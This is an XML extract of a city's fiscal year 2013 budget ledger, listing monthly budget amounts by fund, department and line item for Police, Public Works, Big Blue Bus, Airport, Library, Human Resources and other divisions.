<row _id="1792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3919.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3919.0</total></row>
<row _id="1793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28659.0</july><august>0</august><september>0.0</september><october>145.0</october><november>0</november><december>0</december><january>0.0</january><february>288</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29092.0</total></row>
<row _id="1794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>38436.0</july><august>0</august><september>0.0</september><october>489.0</october><november>-489</november><december>0</december><january>0.0</january><february>384</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38820.0</total></row>
<row _id="1795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4312.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4312.0</total></row>
<row _id="1796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>518.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>518.0</total></row>
<row _id="1797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>384.0</total></row>
<row _id="1798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1769.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-7</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1762.0</total></row>
<row _id="1799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4585.0</total></row>
<row _id="1800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6462.0</july><august>390</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>68</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6920.0</total></row>
<row _id="1801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>413.0</july><august>104</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>209</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="1802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>535.0</july><august>115</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>230</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>880.0</total></row>
<row _id="1803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7869.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-947</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6922.0</total></row>
<row _id="1804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29252.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>181</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29433.0</total></row>
<row _id="1805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>622615.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>622615.0</total></row>
<row _id="1806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2328.0</july><august>137</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2465.0</total></row>
<row _id="1807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>408064.0</july><august>-6294</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-29555</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>372215.0</total></row>
<row _id="1808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>21388.0</july><august>-1122</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6678</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26944.0</total></row>
<row _id="1809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>541.0</july><august>137</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>274</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>952.0</total></row>
<row _id="1810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2917981.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2917981.0</total></row>
<row _id="1811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57383.0</july><august>15383</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30844</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103610.0</total></row>
<row _id="1812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>468999.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>468999.0</total></row>
<row _id="1813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>79631.0</july><august>0</august><september>0.0</september><october>20000.0</october><november>0</november><december>0</december><january>0.0</january><february>9483</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>109114.0</total></row>
<row _id="1814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>120104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120104.0</total></row>
<row _id="1815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>141364.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>141364.0</total></row>
<row _id="1816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>21726.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1738</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19988.0</total></row>
<row _id="1817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>198022.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-12587</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>185435.0</total></row>
<row _id="1818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>79723.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79685.0</total></row>
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<row _id="1852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566570.0</object><object_description>PERSONNEL EXAM EXPENSES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>66000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>66000.0</total></row>
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<row _id="1855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402160.0</object><object_description>AIRPORT - MISCELLANEOUS REV</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-7600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7600.0</total></row>
<row _id="1856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>654.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>661.0</total></row>
<row _id="1857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>638.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>638.0</total></row>
<row _id="1858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533070.0</object><object_description>AIRPORT SECURITY GUARDS TRANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>628174.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>628174.0</total></row>
<row _id="1859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4080.0</total></row>
<row _id="1860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>503532.16</july><august>0</august><september>0.0</september><october>-165926.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>337606.16</total></row>
<row _id="1861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1666.0</july><august>0</august><september>0.0</september><october>-104.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="1862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>57080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1285</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55795.0</total></row>
<row _id="1863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>52</fund_id><fund_name>Special Aviation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1500.0</total></row>
<row _id="1864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="1865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24500.0</total></row>
<row _id="1866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3140.0</total></row>
<row _id="1867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="1868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
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<row _id="1872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5468.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5468.0</total></row>
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<row _id="1883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6711.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>67</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6778.0</total></row>
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<row _id="1894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5176.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5176.0</total></row>
<row _id="1895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>404.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>404.0</total></row>
<row _id="1896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1639.0</total></row>
<row _id="1897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
